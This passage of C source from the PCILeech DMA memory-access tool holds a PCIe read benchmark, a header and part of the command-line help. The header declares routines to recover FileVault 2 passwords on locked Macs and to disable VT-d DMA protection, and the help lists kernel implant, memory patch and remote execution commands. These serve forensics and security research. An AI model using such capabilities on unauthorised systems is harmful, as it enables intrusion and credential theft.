1024; szcbsUnit = "kB/s"; } else { cbsUnit = cbs / (1024*1024); szcbsUnit = "MB/s"; } if(cFail) { printf("READ %3llu %s %8llu reads/s %5llu %s (failed: %llu%%)\n", cbUnit, szcbUnit, (c / 5), cbsUnit, szcbsUnit, pcFail); } else { printf("READ %3llu %s %8llu reads/s %5llu %s\n", cbUnit, szcbUnit, (c / 5), cbsUnit, szcbsUnit); } return cbs; } VOID Action_Benchmark() { // Allocate 16MB memory as MEMs: PPMEM_SCATTER ppMEMs = NULL; DWORD i, cMEMs = 0x1000; QWORD cbs, qwTiny; printf("================ PCILEECH BENCHMARK START ================\n"); if(!LcAllocScatter1(cMEMs, &ppMEMs)) { printf("BENCHMARK: Error allocating memory.\n"); return; } for(i = 0; i < cMEMs; i++) { ppMEMs[i]->qwA = 0x1000; } Extra_Benchmark_ReadSingle(ppMEMs, 8); // 8 bytes Extra_Benchmark_ReadSingle(ppMEMs, 128); // 128 bytes Extra_Benchmark_ReadSingle(ppMEMs, 512); // 512 bytes Extra_Benchmark_ReadSingle(ppMEMs, 0x1000); // 4 KB Extra_Benchmark_ReadSingle(ppMEMs, 0x10000); // 64 KB Extra_Benchmark_ReadSingle(ppMEMs, 0x100000); // 1 MB cbs = Extra_Benchmark_ReadSingle(ppMEMs, 0x1000000); // 16 MB printf("================ PCILEECH BENCHMARK FINISH ================\n"); if((cbs < 45 * 1024 * 1024) && LcGetOption(ctxMain->hLC, LC_OPT_FPGA_ALGO_TINY, &qwTiny)) { // This is a FPGA device - otherwise the option would not exist. if(qwTiny) { printf("BENCHMARK: WARNING! Read speed is slow.\n TINY PCIe TLP algrithm auto-selected!\n"); } else { printf("BENCHMARK: WARNING! Read speed is slow.\n USB connection most likely at USB2 speed.\n Check port/cable/connection for issues."); } } LcMemFree(ppMEMs); } ``` `pcileech/extra.h`: ```h // extra.h : definitions related to various extra functionality such as exploits. // // (c) Ulf Frisk, 2016-2026 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __EXTRA_H__ #define __EXTRA_H__ #include "pcileech.h" #include "kmd.h" /* * Recover the Filevault 2 password on locked macOS systems prior to 10.12.2. * (IsRebootRequired = TRUE). * Also recover the Filevault 2 password just after user filevault unlock on * some macs prior to 10.XX.YY (IsRebootRequired = FALSE). * -- IsRebootRequired */ VOID Action_MacFilevaultRecover(_In_ BOOL IsRebootRequired); /* * Try to disable VT-d on a mac in the short time window that exists after EFI * drops VT-d DMA protections and before macOS enables them again. If successful * the DMAR ACPI table will be zeroed out - resulting in macOS not enabling VT-d * DMA protections. This works on macs prior to 10.XX.YY */ VOID Action_MacDisableVtd(); /* * Search for the virtual address that maps to a physical address given a page table base. */ VOID Action_PT_Phys2Virt(); /* * Search for the physical address that is mapped by a virtual address given a page table base. */ VOID Action_PT_Virt2Phys(); /* * Transmit the TLP data specified in the -in parameter. */ VOID Action_TlpTx(); /* * Transmit TLPs in a hardware-assisted loop using on-board fpga logic. */ VOID Action_TlpTxLoop(); /* * Read/Write to FPGA PCIe shadow configuration space. */ VOID Action_RegCfgReadWrite(); /* * Register a callback that will implement read/write support of PCIe BARs. */ VOID Extra_BarReadWriteInitialize(); /* * Run benchmarks (useful for PCIe benchmarking). */ VOID Action_Benchmark(); #endif /* __EXTRA_H__ */ ``` `pcileech/help.c`: ```c // help.c : implementation related to displaying help texts. // // (c) Ulf Frisk, 2016-2026 // Author: Ulf Frisk, pcileech@frizk.net // #include "help.h" #include "util.h" #include "version.h" VOID ShowListFiles(_In_ LPSTR szSearchPattern, _In_ DWORD cchSpaces, _In_ DWORD cchPre, _In_ DWORD cchPost) { WIN32_FIND_DATAA data; HANDLE h; CHAR szSearch[MAX_PATH]; Util_GetFileInDirectory(szSearch, szSearchPattern); h = FindFirstFileA(szSearch, &data); while(h != INVALID_HANDLE_VALUE) { data.cFileName[strlen(data.cFileName) - cchPost] = 0; if(!cchPre || !memcmp(data.cFileName, szSearchPattern, cchPre)) { printf("%*c%s\n", cchSpaces, ' ', data.cFileName + cchPre); } if(!FindNextFileA(h, &data)) { return; } } } VOID Help_ShowGeneral() { printf( " PCILEECH COMMAND LINE REFERENCE \n" \ " PCILeech can run in two modes - NATIVE (default), Kernel Module Assisted (KMD)\n" \ " KMD mode may be triggered by supplying the option kmd and optionally cr3 / pt.\n" \ " If an address is supplied in the kmd option pcileech will use the already ins-\n" \ " erted KMD. The already inserted KMD will be left intact upon exit. If the KMD\n" \ " contains a kernel mode signature the kernel module will be loaded and then un-\n" \ " loaded on program exit ( except for the kmdload command ). \n" \ " KMD mode may access all memory (available to the kernel of the target system).\n" \ " NATIVE mode may access 4GB memory if USB3380 hardware is used. \n" \ " NATIVE mode may access all memory if FPGA based hardware is used such as the: \n" \ " SP605/FT601, AC701/FT601 and PCIeScreamer. This mode also works for software\n" \ " based acquisition methods such as Files, DumpIt, WinPmem or any other method\n" \ " supported by the LeechCore library. For more information check out: \n" \ " https://github.com/ufrisk/PCILeech and https://github.com/ufrisk/LeechCore \n" \ " For detailed help about a specific command type: pcileech -help \n" \ " General syntax: pcileech [- ] ... \n" \ " VALID COMMANDS MODEs [ OPTIONS ] (REQUIREMENTS) \n" \ " none NATIVE,KMD \n" \ " info NATIVE,KMD \n" \ " dump NATIVE,KMD [ min, max, out ] \n" \ " patch NATIVE,KMD [ min, max, sig, all, pid,vamin,vamax ] \n" \ " write NATIVE,KMD [ min, in ] \n" \ " search NATIVE,KMD [ min, max, sig, in, all, pid,vamin,vamax]\n" \ " [implant] KMD [ in, out, s, 0..9 ] \n" \ " kmdload NATIVE [ pt, cr3 ] \n" \ " kmdexit KMD \n" \ " mount NATIVE,KMD [ mount, cr3 ] \n" \ " display NATIVE,KMD [ min, max, pid,vamin,vamax ] \n" \ " pagedisplay NATIVE,KMD [ min, pid,vamin,vamax ] \n" \ " pt_phys2virt NATIVE,KMD [ cr3, 0 ] \n" \ " pt_virt2phys NATIVE,KMD [ cr3, 0 ] \n" \ " testmemread NATIVE [ min ] \n" \ " testmemreadwrite NATIVE [ min ] \n" \ " benchmark NATIVE \n" \ " Device specific commands and valid MODEs [ and options ] (and device): \n" \ " tlp NATIVE [ in ] (FPGA) \n" \ " tlploop NATIVE [ in ] (FPGA) \n" \ " probe NATIVE [ min, max ] (FPGA) \n" \ " regcfg NATIVE [ in, out, min, max] (FPGA) \n" \ " pslist NATIVE \n" \ " psvirt2phys NATIVE [ 0, 1 ] \n" \ " agent-execpy NATIVE [ in, out ] (Remote LeechAgent) \n" \ " agent-forensic NATIVE [ out ] (Remote LeechAgent) \n" \ " System specific commands and valid MODEs [ and options ]: \n" \ " mac_fvrecover NATIVE (USB3380) \n" \ " mac_fvrecover2 NATIVE (USB3380) \n" \ " mac_disablevtd NATIVE (USB3380) \n" \ " External plugin commands: \n"); ShowListFiles("leechp_*"PCILEECH_LIBRARY_FILETYPE, 3, 7, (DWORD)strlen(PCILEECH_LIBRARY_FILETYPE)); printf( " Valid options: \n" \ " -device: The memory acquisition device to including config options in the \n" \ " device connection string. If option is not given the USB3380 and FPGA\n" \ " will be auto-detected. For a complete list of supported devices and \n" \ " their individual config options check out the documentation for the \n" \ " LeechCore library at: https://github.com/ufrisk/LeechCore \n" \ " Affects all modes and commands. \n" \ " Common valid options: USB3380, FPGA, DumpIt, \n" \ " -remote: Connect to a remote system LeechAgent to acquire remote memory. \n" \ " This is a Windows-only feature. Specify remote host + remote user to \n" \ " authenticate (or insecure if no authenciation). Kerberos-secure conn.\n" \ " Example: rpc://: \n" \ " -min : memory min address, valid range: 0x0 .. 0xffffffffffffffff \n" \ " default: 0x0 \n" \ " -max : memory max address, valid range: 0x0 .. 0xffffffffffffffff \n" \ " default: (FPGA = no limit, USB3380 = 4GB) \n" \ " -out : name of output file. \n" \ " default: pcileech----